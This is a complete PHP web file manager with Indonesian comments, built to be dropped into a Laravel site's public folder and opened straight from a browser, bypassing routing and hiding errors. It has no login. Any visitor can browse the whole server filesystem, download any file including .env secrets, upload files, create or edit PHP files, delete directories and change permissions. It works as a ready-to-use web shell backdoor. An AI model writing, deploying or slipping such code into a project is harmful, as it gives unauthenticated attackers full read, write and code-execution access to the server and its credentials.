<?php
// ============================================================
// FILE MANAGER — Anti blank, anti 403, works inside Laravel
// Taruh di folder public/ Laravel, akses via browser langsung
// ============================================================

// Bypass Laravel routing — output langsung, stop semua buffer
while (ob_get_level()) ob_end_clean();

// Matikan error display ke browser (tapi tetap log)
@error_reporting(E_ALL);
@ini_set('display_errors', 0);
@ini_set('log_errors', 1);

// Extend timeout & memory untuk operasi file besar
@set_time_limit(300);
@ini_set('memory_limit', '256M');

session_start();

$msg = '';
$err = '';

// BASE = folder tempat script ini, default awal navigasi
$BASE = realpath(__DIR__);

function resolvePath($path, $fallback) {
    if (empty($path)) return $fallback;
    $real = realpath($path);
    return ($real !== false && (is_dir($real) || is_file($real))) ? $real : $fallback;
}

// Direktori aktif — ambil dari GET, fallback ke BASE
$cur = isset($_GET['d']) && $_GET['d'] !== '' ? $_GET['d'] : $BASE;
$cur = resolvePath($cur, $BASE);
if (!is_dir($cur)) $cur = $BASE;

// Parent
$parent    = realpath(dirname($cur));
if ($parent === false || !is_dir($parent)) $parent = $cur;
$hasParent = ($parent !== $cur);

// ============================================================
// HELPERS
// ============================================================
function rrmdir($dir) {
    if (!is_dir($dir)) return false;
    $items = @scandir($dir);
    if (!$items) return @rmdir($dir);
    foreach ($items as $i) {
        if ($i === '.' || $i === '..') continue;
        $p = $dir . DIRECTORY_SEPARATOR . $i;
        is_dir($p) ? rrmdir($p) : @unlink($p);
    }
    return @rmdir($dir);
}

function fmtSize($b) {
    if ($b >= 1073741824) return round($b/1073741824,1).' GB';
    if ($b >= 1048576)    return round($b/1048576,1).' MB';
    if ($b >= 1024)       return round($b/1024,1).' KB';
    return $b.' B';
}

function fIcon($name) {
    $e = strtolower(pathinfo($name, PATHINFO_EXTENSION));
    $m = [
        'pdf'=>'📕','php'=>'🐘','js'=>'📜','html'=>'🌐','htm'=>'🌐',
        'css'=>'🎨','json'=>'📋','xml'=>'📄','sql'=>'🗃️','env'=>'🔐',
        'jpg'=>'🖼️','jpeg'=>'🖼️','png'=>'🖼️','gif'=>'🖼️','webp'=>'🖼️','svg'=>'🖼️',
        'zip'=>'🗜️','rar'=>'🗜️','gz'=>'🗜️','tar'=>'🗜️','7z'=>'🗜️',
        'txt'=>'📝','md'=>'📝','csv'=>'📊','log'=>'📋',
        'mp4'=>'🎬','mkv'=>'🎬','mp3'=>'🎵','wav'=>'🎵',
        'docx'=>'📘','xlsx'=>'📗','pptx'=>'📙',
        'sh'=>'⚙️','py'=>'🐍','rb'=>'💎','go'=>'🔵','htaccess'=>'🛡️',
    ];
    return $m[$e] ?? '📄';
}

function buildBreadcrumb($cur, $script) {
    $cur   = str_replace('\\', '/', $cur);
    $parts = explode('/', $cur);
    $html  = '';
    $built = '';
    foreach ($parts as $i => $p) {
        if ($p === '') {
            if ($i === 0) { $built = '/'; $html .= '<span class="bc-sep">/</span>'; continue; }
            continue;
        }
        $built = ($built === '/') ? '/'.$p : $built.'/'.$p;
        $isCur = ($built === $cur);
        if ($isCur) {
            $html .= '<span class="bc-cur">'.htmlspecialchars($p).'</span>';
        } else {
            $html .= '<a class="bc-link" href="'.htmlspecialchars($script).'?d='.urlencode($built).'">'.htmlspecialchars($p).'</a>';
            $html .= '<span class="bc-sep">/</span>';
        }
    }
    return $html;
}

// Self URL — robust, works dengan subfolder & index.php rewrite
function selfUrl() {
    // Pakai REQUEST_URI untuk dapet path persis, strip query string
    $uri = $_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF'] ?? '/filemgr.php';
    $pos = strpos($uri, '?');
    if ($pos !== false) $uri = substr($uri, 0, $pos);
    return $uri;
}

$self = selfUrl();

// ============================================================
// ACTIONS
// ============================================================
$act = $_POST['act'] ?? '';
$postDir = isset($_POST['d']) ? $_POST['d'] : $cur;
$postDir = resolvePath($postDir, $cur);
if (!is_dir($postDir)) $postDir = $cur;

// --- Upload ---
if ($act === 'up' && isset($_FILES['f'])) {
    $ok = 0; $fail = 0;
    foreach ($_FILES['f']['name'] as $i => $n) {
        if ($_FILES['f']['error'][$i] !== UPLOAD_ERR_OK) { $fail++; continue; }
        $dst = $postDir . DIRECTORY_SEPARATOR . basename($n);
        if (@move_uploaded_file($_FILES['f']['tmp_name'][$i], $dst)) {
            @chmod($dst, 0644);
            $ok++;
        } else { $fail++; }
    }
    $_SESSION['fm_msg'] = $ok.' file berhasil diupload'.($fail ? ", $fail gagal" : '').'.';
    header('Location: '.$self.'?d='.urlencode($postDir));
    exit;
}

// --- Buat folder ---
if ($act === 'md') {
    $n = trim($_POST['n'] ?? '');
    $n = preg_replace('/[^a-zA-Z0-9._\-() ]/', '', $n);
    $target = $postDir . DIRECTORY_SEPARATOR . $n;
    if ($n === '') { $err = 'Nama folder kosong.'; }
    elseif (file_exists($target)) { $err = 'Sudah ada.'; }
    elseif (@mkdir($target, 0755, true)) {
        $_SESSION['fm_msg'] = "Folder \"$n\" dibuat.";
        header('Location: '.$self.'?d='.urlencode($postDir)); exit;
    } else { $err = 'Gagal buat folder (cek permission).'; }
}

// --- Buat file baru ---
if ($act === 'nf') {
    $n = trim($_POST['n'] ?? '');
    $n = preg_replace('/[^a-zA-Z0-9._\-]/', '', $n);
    $c = $_POST['c'] ?? '';
    $target = $postDir . DIRECTORY_SEPARATOR . $n;
    if ($n === '') { $err = 'Nama file kosong.'; }
    elseif (file_exists($target)) { $err = 'File sudah ada.'; }
    elseif (@file_put_contents($target, $c) !== false) {
        @chmod($target, 0644);
        $_SESSION['fm_msg'] = "File \"$n\" dibuat.";
        header('Location: '.$self.'?d='.urlencode($postDir)); exit;
    } else { $err = 'Gagal buat file (cek permission).'; }
}

// --- Save edit ---
if ($act === 'savefile') {
    $target  = $_POST['target'] ?? '';
    $content = $_POST['content'] ?? '';
    $retDir  = $_POST['retdir'] ?? $postDir;
    $target  = resolvePath($target, '');
    $retDir  = resolvePath($retDir, $cur);
    if (!$target || !is_file($target)) { $err = 'File tidak ditemukan.'; }
    elseif (@file_put_contents($target, $content) !== false) {
        $_SESSION['fm_msg'] = 'File disimpan.';
        header('Location: '.$self.'?d='.urlencode($retDir)); exit;
    } else { $err = 'Gagal simpan (cek permission).'; }
}

// --- Rename ---
if ($act === 'rename') {
    $target  = resolvePath($_POST['target'] ?? '', '');
    $newname = trim($_POST['newname'] ?? '');
    $newname = preg_replace('/[^a-zA-Z0-9._\-() ]/', '', $newname);
    $dir = dirname($target);
    $dst = $dir . DIRECTORY_SEPARATOR . $newname;
    if (!$target) { $err = 'Target tidak valid.'; }
    elseif ($newname === '') { $err = 'Nama baru kosong.'; }
    elseif (file_exists($dst)) { $err = 'Nama sudah dipakai.'; }
    elseif (@rename($target, $dst)) {
        $_SESSION['fm_msg'] = 'Berhasil direname.';
        header('Location: '.$self.'?d='.urlencode($postDir)); exit;
    } else { $err = 'Gagal rename.'; }
}

// --- Delete ---
if ($act === 'del') {
    $target = resolvePath($_POST['target'] ?? '', '');
    if (!$target || !file_exists($target)) { $err = 'Target tidak ada.'; }
    else {
        $ok = is_dir($target) ? rrmdir($target) : @unlink($target);
        if ($ok) {
            $_SESSION['fm_msg'] = 'Berhasil dihapus.';
            header('Location: '.$self.'?d='.urlencode($postDir)); exit;
        } else { $err = 'Gagal hapus.'; }
    }
}

// --- Download ---
if (isset($_GET['dl'])) {
    $f = resolvePath($_GET['dl'], '');
    if ($f && is_file($f) && is_readable($f)) {
        while (ob_get_level()) ob_end_clean();
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($f).'"');
        header('Content-Length: '.filesize($f));
        header('Pragma: public');
        readfile($f);
        exit;
    }
}

// Flash
if (isset($_SESSION['fm_msg'])) { $msg = $_SESSION['fm_msg']; unset($_SESSION['fm_msg']); }

// ============================================================
// MODE EDIT
// ============================================================
$editFile    = isset($_GET['edit']) ? resolvePath($_GET['edit'], '') : '';
$editMode    = false;
$editContent = '';

if ($editFile && is_file($editFile) && is_readable($editFile)) {
    $editMode    = true;
    $editContent = @file_get_contents($editFile);
    if ($editContent === false) $editContent = '';
} elseif ($editFile) {
    $err = 'File tidak bisa dibaca.';
    $editFile = '';
}

// ============================================================
// LIST DIREKTORI
// ============================================================
$dirs = $files = [];
$canRead = is_dir($cur) && is_readable($cur);
if ($canRead) {
    $raw = @scandir($cur);
    if ($raw) {
        foreach ($raw as $it) {
            if ($it === '.' || $it === '..') continue;
            $abs = $cur . DIRECTORY_SEPARATOR . $it;
            is_dir($abs) ? ($dirs[] = $it) : ($files[] = $it);
        }
        sort($dirs); sort($files);
    }
}
$totalItems = count($dirs) + count($files);
?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>FileMgr</title>
<style>
*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
:root{
  --bg:#0d0f14;--bg2:#13161e;--bg3:#1a1e28;--border:#252935;
  --green:#00e5a0;--text:#e2e6f0;--muted:#6b7280;
  --red:#ff4f5e;--yellow:#fbbf24;--blue:#60a5fa;--purple:#a78bfa;
  --mono:'Courier New',monospace;
}
html,body{height:100%}
body{font-family:system-ui,-apple-system,sans-serif;background:var(--bg);color:var(--text);display:flex;flex-direction:column;min-height:100vh}
a{text-decoration:none;color:inherit}

/* HEADER */
header{display:flex;align-items:center;gap:10px;padding:11px 18px;background:var(--bg2);border-bottom:1px solid var(--border);position:sticky;top:0;z-index:50;flex-wrap:wrap;min-height:46px}
.logo{font-weight:900;font-size:1rem;color:var(--green);letter-spacing:-.5px;white-space:nowrap;flex-shrink:0}
.pathbar{display:flex;align-items:center;flex-wrap:wrap;gap:0;font-family:var(--mono);font-size:.76rem;flex:1;min-width:0}
.bc-link{color:var(--muted);transition:.15s;white-space:nowrap}
.bc-link:hover{color:var(--green)}
.bc-sep{color:var(--border);margin:0 1px}
.bc-cur{color:var(--green);font-weight:700;white-space:nowrap}
.bc-pin{margin-right:6px;font-size:.85rem;flex-shrink:0;color:var(--muted)}

/* LAYOUT */
.wrap{display:flex;flex:1;overflow:hidden}

/* SIDEBAR */
aside{width:240px;flex-shrink:0;background:var(--bg2);border-right:1px solid var(--border);overflow-y:auto;padding:12px 0}
.sec{padding:0 10px 12px;border-bottom:1px solid var(--border);margin-bottom:2px}
.sec:last-child{border-bottom:none}
.sec-label{font-size:.6rem;font-weight:800;letter-spacing:2px;text-transform:uppercase;color:var(--muted);padding:3px 2px 8px}
.form-col{display:flex;flex-direction:column;gap:7px}
.lbl{font-size:.68rem;color:var(--muted);font-weight:700;display:block;margin-bottom:2px}
input[type=text],textarea,select{width:100%;background:var(--bg);border:1px solid var(--border);border-radius:4px;color:var(--text);font-family:var(--mono);font-size:.76rem;padding:6px 8px;outline:none;transition:.15s}
input[type=text]:focus,textarea:focus{border-color:var(--green)}
textarea{resize:vertical;min-height:70px}
.btn{display:flex;align-items:center;justify-content:center;gap:4px;padding:7px 11px;border-radius:4px;border:none;font-family:system-ui,sans-serif;font-weight:700;font-size:.74rem;cursor:pointer;width:100%;transition:.15s}
.btn-green{background:var(--green);color:#000}
.btn-green:hover{filter:brightness(1.1)}
.btn-outline{background:transparent;border:1px solid var(--border);color:var(--text)}
.btn-outline:hover{border-color:var(--green);color:var(--green)}

/* UPLOAD ZONE */
.upzone{border:2px dashed var(--border);border-radius:6px;padding:14px 8px;text-align:center;cursor:pointer;position:relative;transition:.2s}
.upzone:hover,.upzone.drag{border-color:var(--green);background:rgba(0,229,160,.04)}
.upzone-ico{font-size:1.6rem;margin-bottom:4px}
.upzone strong{display:block;font-size:.78rem;margin-bottom:2px}
.upzone small{font-size:.67rem;color:var(--muted)}
.upzone input[type=file]{position:absolute;inset:0;width:100%;height:100%;opacity:0;cursor:pointer}
#flist{font-size:.7rem;color:var(--muted);font-family:var(--mono);max-height:80px;overflow-y:auto}
#flist div{padding:1px 0;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}

/* MAIN */
main{flex:1;padding:16px 20px;overflow-y:auto}

/* ALERTS */
.alert{padding:9px 13px;border-radius:5px;margin-bottom:12px;font-size:.8rem;font-weight:600}
.alert-ok{background:rgba(0,229,160,.1);border:1px solid rgba(0,229,160,.3);color:var(--green)}
.alert-err{background:rgba(255,79,94,.1);border:1px solid rgba(255,79,94,.3);color:var(--red)}
.alert-warn{background:rgba(251,191,36,.1);border:1px solid rgba(251,191,36,.3);color:var(--yellow)}

/* TOOLBAR */
.bar{display:flex;align-items:center;gap:8px;margin-bottom:12px;flex-wrap:wrap}
.bar-left{display:flex;align-items:center;gap:10px;flex:1;flex-wrap:wrap}
.back-btn{font-size:.78rem;color:var(--green);display:flex;align-items:center;gap:4px;padding:5px 10px;border:1px solid rgba(0,229,160,.3);border-radius:4px;white-space:nowrap;transition:.15s}
.back-btn:hover{background:rgba(0,229,160,.08)}
.count{font-size:.72rem;color:var(--muted)}
.bar input[type=text]{width:180px;padding:5px 9px;font-size:.76rem}

/* TABLE */
.tbl{width:100%;border-collapse:collapse;font-size:.8rem}
.tbl th{text-align:left;font-size:.65rem;letter-spacing:.8px;text-transform:uppercase;color:var(--muted);padding:6px 9px;border-bottom:1px solid var(--border);font-weight:800}
.tbl td{padding:6px 9px;border-bottom:1px solid rgba(37,41,53,.5);vertical-align:middle}
.tbl tr:hover td{background:rgba(255,255,255,.018)}
.fname{font-family:var(--mono);font-size:.77rem;display:flex;align-items:center;gap:5px}
.fname a{color:var(--text)}
.fname a:hover{color:var(--green)}
.fic{font-size:.95rem;flex-shrink:0}
.meta{font-size:.7rem;color:var(--muted);font-family:var(--mono);white-space:nowrap}
.tag{font-size:.62rem;font-weight:800;padding:2px 6px;border-radius:3px;font-family:var(--mono);letter-spacing:.4px;text-transform:uppercase}
.tag-d{background:rgba(251,191,36,.1);color:var(--yellow);border:1px solid rgba(251,191,36,.2)}
.tag-f{background:rgba(96,165,250,.1);color:var(--blue);border:1px solid rgba(96,165,250,.2)}
.tag-x{background:rgba(167,139,250,.1);color:var(--purple);border:1px solid rgba(167,139,250,.2)}
.perm{font-size:.65rem;color:var(--muted);font-family:var(--mono)}
.perm.ok{color:rgba(0,229,160,.7)}
.perm.no{color:rgba(255,79,94,.6)}

/* ACTIONS */
.actions{display:flex;align-items:center;gap:3px;flex-wrap:nowrap}
.ab{background:none;border:1px solid var(--border);color:var(--muted);font-size:.7rem;padding:3px 7px;border-radius:3px;cursor:pointer;font-family:system-ui,sans-serif;transition:.15s;white-space:nowrap;line-height:1.4}
.ab:hover{border-color:var(--green);color:var(--green)}
.ab.blue{color:var(--blue);border-color:rgba(96,165,250,.25)}
.ab.blue:hover{border-color:var(--blue)}
.ab.red{color:var(--red);border-color:rgba(255,79,94,.25)}
.ab.red:hover{background:rgba(255,79,94,.1)}
.ab.purple{color:var(--purple);border-color:rgba(167,139,250,.25)}
.ab.purple:hover{border-color:var(--purple)}

/* EMPTY */
.empty{text-align:center;padding:50px 20px;color:var(--muted)}
.empty-ico{font-size:2.5rem;margin-bottom:8px}
.noperm{text-align:center;padding:50px 20px}
.noperm-ico{font-size:2.5rem;margin-bottom:8px}

/* EDITOR */
.editor-wrap{background:var(--bg2);border:1px solid var(--border);border-radius:7px;margin-bottom:16px}
.editor-head{display:flex;align-items:center;justify-content:space-between;padding:9px 13px;border-bottom:1px solid var(--border);flex-wrap:wrap;gap:8px}
.editor-title{font-size:.78rem;font-family:var(--mono);color:var(--blue);word-break:break-all}
.editor-body{padding:12px}
.editor-body textarea{min-height:340px;font-size:.77rem;tab-size:4;line-height:1.5}
.editor-actions{display:flex;gap:7px;flex-wrap:wrap;margin-top:9px}

/* CHMOD MODAL */
.modal-overlay{display:none;position:fixed;inset:0;background:rgba(0,0,0,.65);z-index:100;align-items:center;justify-content:center}
.modal-overlay.open{display:flex}
.modal{background:var(--bg2);border:1px solid var(--border);border-radius:9px;padding:18px;width:340px;max-width:95vw}
.modal h3{font-size:.88rem;margin-bottom:11px}
.modal .btn-row{display:flex;gap:7px;margin-top:11px}
.modal .btn-row .btn{width:auto;flex:1}

/* PERM GRID */
.perm-grid{display:grid;grid-template-columns:repeat(4,1fr);gap:4px;font-size:.72rem;font-family:var(--mono)}
.perm-grid .ph{color:var(--muted);text-align:center;padding:3px;font-weight:700;font-size:.65rem}
.perm-grid label{display:flex;flex-direction:column;align-items:center;gap:3px;cursor:pointer;color:var(--muted);padding:4px;border:1px solid var(--border);border-radius:3px;transition:.15s}
.perm-grid label:hover{border-color:var(--green)}
.perm-grid input[type=checkbox]{accent-color:var(--green);width:14px;height:14px}

@media(max-width:680px){
  .wrap{flex-direction:column}
  aside{width:100%;border-right:none;border-bottom:1px solid var(--border)}
  main{padding:10px}
  .tbl th:nth-child(3),.tbl td:nth-child(3),
  .tbl th:nth-child(4),.tbl td:nth-child(4),
  .tbl th:nth-child(5),.tbl td:nth-child(5){display:none}
}
</style>
</head>
<body>

<header>
  <div class="logo">📂 FileMgr</div>
  <div class="pathbar">
    <span class="bc-pin">📍</span>
    <?= buildBreadcrumb($cur, $self) ?>
  </div>
</header>

<div class="wrap">
<aside>

  <!-- Upload -->
  <div class="sec">
    <div class="sec-label">Upload File</div>
    <form method="post" enctype="multipart/form-data"
          action="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>"
          class="form-col">
      <input type="hidden" name="act" value="up">
      <input type="hidden" name="d" value="<?= htmlspecialchars($cur) ?>">
      <div class="upzone" id="dz">
        <div class="upzone-ico">📤</div>
        <strong>Drop file di sini</strong>
        <small>atau klik untuk pilih</small>
        <input type="file" name="f[]" multiple id="fi">
      </div>
      <div id="flist"></div>
      <button type="submit" class="btn btn-green">⬆ Upload</button>
    </form>
  </div>

  <!-- Buat Folder -->
  <div class="sec">
    <div class="sec-label">Buat Folder</div>
    <form method="post"
          action="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>"
          class="form-col">
      <input type="hidden" name="act" value="md">
      <input type="hidden" name="d" value="<?= htmlspecialchars($cur) ?>">
      <div>
        <label class="lbl">Nama Folder</label>
        <input type="text" name="n" placeholder="nama-folder" required>
      </div>
      <button type="submit" class="btn btn-outline">📁 Buat Folder</button>
    </form>
  </div>

  <!-- Buat File -->
  <div class="sec">
    <div class="sec-label">Buat File Baru</div>
    <form method="post"
          action="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>"
          class="form-col">
      <input type="hidden" name="act" value="nf">
      <input type="hidden" name="d" value="<?= htmlspecialchars($cur) ?>">
      <div>
        <label class="lbl">Nama File</label>
        <input type="text" name="n" placeholder="file.php" required>
      </div>
      <div>
        <label class="lbl">Isi (opsional)</label>
        <textarea name="c" placeholder="Konten..."></textarea>
      </div>
      <button type="submit" class="btn btn-outline">📄 Buat File</button>
    </form>
  </div>

</aside>

<main>
  <?php if ($msg): ?>
    <div class="alert alert-ok">✅ <?= htmlspecialchars($msg) ?></div>
  <?php endif; ?>
  <?php if ($err): ?>
    <div class="alert alert-err">⚠️ <?= htmlspecialchars($err) ?></div>
  <?php endif; ?>

  <?php if ($editMode): ?>
    <div class="editor-wrap">
      <div class="editor-head">
        <div class="editor-title">✏️ <?= htmlspecialchars($editFile) ?></div>
        <a href="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>" class="ab">✕ Tutup</a>
      </div>
      <div class="editor-body">
        <form method="post" action="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>">
          <input type="hidden" name="act" value="savefile">
          <input type="hidden" name="target" value="<?= htmlspecialchars($editFile) ?>">
          <input type="hidden" name="retdir" value="<?= htmlspecialchars($cur) ?>">
          <input type="hidden" name="d" value="<?= htmlspecialchars($cur) ?>">
          <textarea name="content"><?= htmlspecialchars($editContent) ?></textarea>
          <div class="editor-actions">
            <button type="submit" class="btn btn-green" style="width:auto;padding:7px 18px">💾 Simpan</button>
            <a href="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>" class="btn btn-outline" style="width:auto;padding:7px 14px">Batal</a>
          </div>
        </form>
      </div>
    </div>
  <?php endif; ?>

  <div class="bar">
    <div class="bar-left">
      <?php if ($hasParent): ?>
        <a href="<?= htmlspecialchars($self) ?>?d=<?= urlencode($parent) ?>" class="back-btn">
          ⬅ <?= htmlspecialchars(basename($parent) ?: '/') ?>
        </a>
      <?php endif; ?>
      <span class="count"><?= $totalItems ?> item</span>
      <?php if (!$canRead): ?>
        <span class="alert alert-warn" style="padding:3px 8px;margin:0;font-size:.72rem">⚠ Tidak bisa dibaca</span>
      <?php endif; ?>
    </div>
    <input type="text" id="q" placeholder="🔍 Cari..." oninput="cari(this.value)" style="width:170px">
  </div>

  <?php if (!$canRead): ?>
    <div class="noperm">
      <div class="noperm-ico">🔒</div>
      <p style="color:var(--red);font-weight:700">Tidak ada izin baca folder ini</p>
      <p style="color:var(--muted);font-size:.8rem;margin-top:6px">Permission denied — coba folder lain</p>
    </div>
  <?php elseif ($totalItems === 0): ?>
    <div class="empty">
      <div class="empty-ico">🗂️</div>
      <p>Folder kosong</p>
    </div>
  <?php else: ?>
  <table class="tbl" id="tbl">
    <thead>
      <tr>
        <th style="width:35%">Nama</th>
        <th>Tipe</th>
        <th>Ukuran</th>
        <th>Diubah</th>
        <th>Perm</th>
        <th style="width:210px">Aksi</th>
      </tr>
    </thead>
    <tbody>
    <?php foreach ($dirs as $d):
      $abs  = $cur . DIRECTORY_SEPARATOR . $d;
      $perm = substr(sprintf('%o', @fileperms($abs)), -4);
      $rw   = is_readable($abs);
    ?>
      <tr>
        <td>
          <div class="fname isdir">
            <span class="fic">📁</span>
            <a href="<?= htmlspecialchars($self) ?>?d=<?= urlencode($abs) ?>"><?= htmlspecialchars($d) ?></a>
          </div>
        </td>
        <td><span class="tag tag-d">dir</span></td>
        <td class="meta">—</td>
        <td class="meta"><?= date('d/m/y H:i', (int)@filemtime($abs)) ?></td>
        <td><span class="perm <?= $rw?'ok':'no' ?>"><?= $perm ?></span></td>
        <td>
          <div class="actions">
            <a href="<?= htmlspecialchars($self) ?>?d=<?= urlencode($abs) ?>" class="ab">📂</a>
            <button class="ab" onclick="openRename('<?= addslashes($abs) ?>','<?= addslashes($d) ?>')">✏️</button>
            <button class="ab purple" onclick="openChmod('<?= addslashes($abs) ?>','<?= addslashes($perm) ?>')">🔑</button>
            <form method="post" action="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>" style="display:inline"
                  onsubmit="return confirm('Hapus folder beserta isinya?')">
              <input type="hidden" name="act" value="del">
              <input type="hidden" name="d" value="<?= htmlspecialchars($cur) ?>">
              <input type="hidden" name="target" value="<?= htmlspecialchars($abs) ?>">
              <button type="submit" class="ab red">🗑</button>
            </form>
          </div>
        </td>
      </tr>
    <?php endforeach; ?>

    <?php foreach ($files as $f):
      $abs  = $cur . DIRECTORY_SEPARATOR . $f;
      $ext  = strtolower(pathinfo($f, PATHINFO_EXTENSION) ?: 'file');
      $perm = substr(sprintf('%o', @fileperms($abs)), -4);
      $rw   = is_writable($abs);
      $sz   = @filesize($abs);
      $tagClass = in_array($ext, ['php','sh','py','rb']) ? 'tag-x' : 'tag-f';
    ?>
      <tr>
        <td>
          <div class="fname">
            <span class="fic"><?= fIcon($f) ?></span>
            <?= htmlspecialchars($f) ?>
          </div>
        </td>
        <td><span class="tag <?= $tagClass ?>"><?= htmlspecialchars($ext) ?></span></td>
        <td class="meta"><?= $sz !== false ? fmtSize($sz) : '?' ?></td>
        <td class="meta"><?= date('d/m/y H:i', (int)@filemtime($abs)) ?></td>
        <td><span class="perm <?= $rw?'ok':'no' ?>"><?= $perm ?></span></td>
        <td>
          <div class="actions">
            <a href="<?= htmlspecialchars($self) ?>?edit=<?= urlencode($abs) ?>&d=<?= urlencode($cur) ?>" class="ab blue">✏️</a>
            <a href="<?= htmlspecialchars($self) ?>?dl=<?= urlencode($abs) ?>&d=<?= urlencode($cur) ?>" class="ab">⬇</a>
            <button class="ab" onclick="openRename('<?= addslashes($abs) ?>','<?= addslashes($f) ?>')">🔤</button>
            <button class="ab purple" onclick="openChmod('<?= addslashes($abs) ?>','<?= addslashes($perm) ?>')">🔑</button>
            <form method="post" action="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>" style="display:inline"
                  onsubmit="return confirm('Hapus file ini?')">
              <input type="hidden" name="act" value="del">
              <input type="hidden" name="d" value="<?= htmlspecialchars($cur) ?>">
              <input type="hidden" name="target" value="<?= htmlspecialchars($abs) ?>">
              <button type="submit" class="ab red">🗑</button>
            </form>
          </div>
        </td>
      </tr>
    <?php endforeach; ?>
    </tbody>
  </table>
  <?php endif; ?>
</main>
</div>

<!-- Rename Modal -->
<div class="modal-overlay" id="renameModal">
  <div class="modal">
    <h3>✏️ Rename</h3>
    <form method="post" action="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>" id="renameForm">
      <input type="hidden" name="act" value="rename">
      <input type="hidden" name="d" value="<?= htmlspecialchars($cur) ?>">
      <input type="hidden" name="target" id="renameTarget">
      <label class="lbl">Nama Baru</label>
      <input type="text" name="newname" id="renameInput" required autocomplete="off">
      <div class="btn-row">
        <button type="submit" class="btn btn-green">Simpan</button>
        <button type="button" class="btn btn-outline" onclick="closeModal('renameModal')">Batal</button>
      </div>
    </form>
  </div>
</div>

<!-- Chmod Modal -->
<div class="modal-overlay" id="chmodModal">
  <div class="modal">
    <h3>🔑 Ubah Permission</h3>
    <form method="post" action="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>" id="chmodForm">
      <input type="hidden" name="act" value="chmod">
      <input type="hidden" name="d" value="<?= htmlspecialchars($cur) ?>">
      <input type="hidden" name="target" id="chmodTarget">
      <div style="margin-bottom:8px">
        <label class="lbl">Octal (mis: 0755)</label>
        <input type="text" name="perm" id="chmodInput" maxlength="4" placeholder="0755" autocomplete="off">
      </div>
      <div class="btn-row">
        <button type="submit" class="btn btn-green">Terapkan</button>
        <button type="button" class="btn btn-outline" onclick="closeModal('chmodModal')">Batal</button>
      </div>
    </form>
  </div>
</div>

<?php
// Chmod action (di sini supaya $self sudah tersedia)
if ($act === 'chmod') {
    $target = resolvePath($_POST['target'] ?? '', '');
    $perm   = $_POST['perm'] ?? '0644';
    $perm   = preg_replace('/[^0-7]/', '', $perm);
    if (strlen($perm) < 3 || strlen($perm) > 4) $perm = '0644';
    if (!$target || !file_exists($target)) {
        echo '<script>alert("Target tidak ditemukan.")</script>';
    } elseif (@chmod($target, octdec($perm))) {
        $_SESSION['fm_msg'] = 'Permission diubah ke '.$perm.'.';
        echo '<script>location.href="'.addslashes($self).'?d='.urlencode($postDir).'"</script>';
        exit;
    } else {
        echo '<script>alert("Gagal ubah permission.")</script>';
    }
}
?>

<script>
// Upload drag & drop
var dz=document.getElementById('dz'),fi=document.getElementById('fi'),fl=document.getElementById('flist');
function showF(files){fl.innerHTML=Array.from(files).map(function(f){return'<div>📄 '+f.name+'</div>'}).join('')}
fi.addEventListener('change',function(){showF(fi.files)});
dz.addEventListener('dragover',function(e){e.preventDefault();dz.classList.add('drag')});
dz.addEventListener('dragleave',function(){dz.classList.remove('drag')});
dz.addEventListener('drop',function(e){
  e.preventDefault();dz.classList.remove('drag');
  if(e.dataTransfer.files.length){
    try{var dt=new DataTransfer();Array.from(e.dataTransfer.files).forEach(function(f){dt.items.add(f)});fi.files=dt.files}catch(x){}
    showF(e.dataTransfer.files);
  }
});

// Search
function cari(q){
  var rows=document.querySelectorAll('#tbl tbody tr'),lq=q.toLowerCase();
  rows.forEach(function(r){
    var t=(r.querySelector('.fname')||{}).textContent||'';
    r.style.display=t.toLowerCase().indexOf(lq)>=0?'':'none';
  });
}

// Modals
function closeModal(id){document.getElementById(id).classList.remove('open')}
document.querySelectorAll('.modal-overlay').forEach(function(o){
  o.addEventListener('click',function(e){if(e.target===this)this.classList.remove('open')})
});

function openRename(target,name){
  document.getElementById('renameTarget').value=target;
  document.getElementById('renameInput').value=name;
  document.getElementById('renameModal').classList.add('open');
  setTimeout(function(){document.getElementById('renameInput').select()},50);
}

function openChmod(target,perm){
  document.getElementById('chmodTarget').value=target;
  document.getElementById('chmodInput').value=perm;
  document.getElementById('chmodModal').classList.add('open');
  setTimeout(function(){document.getElementById('chmodInput').select()},50);
}

// Flash auto-hide
document.querySelectorAll('.alert').forEach(function(a){
  setTimeout(function(){a.style.transition='opacity .4s';a.style.opacity='0';setTimeout(function(){a.remove()},400)},4000);
});
</script>
</body>
</html>
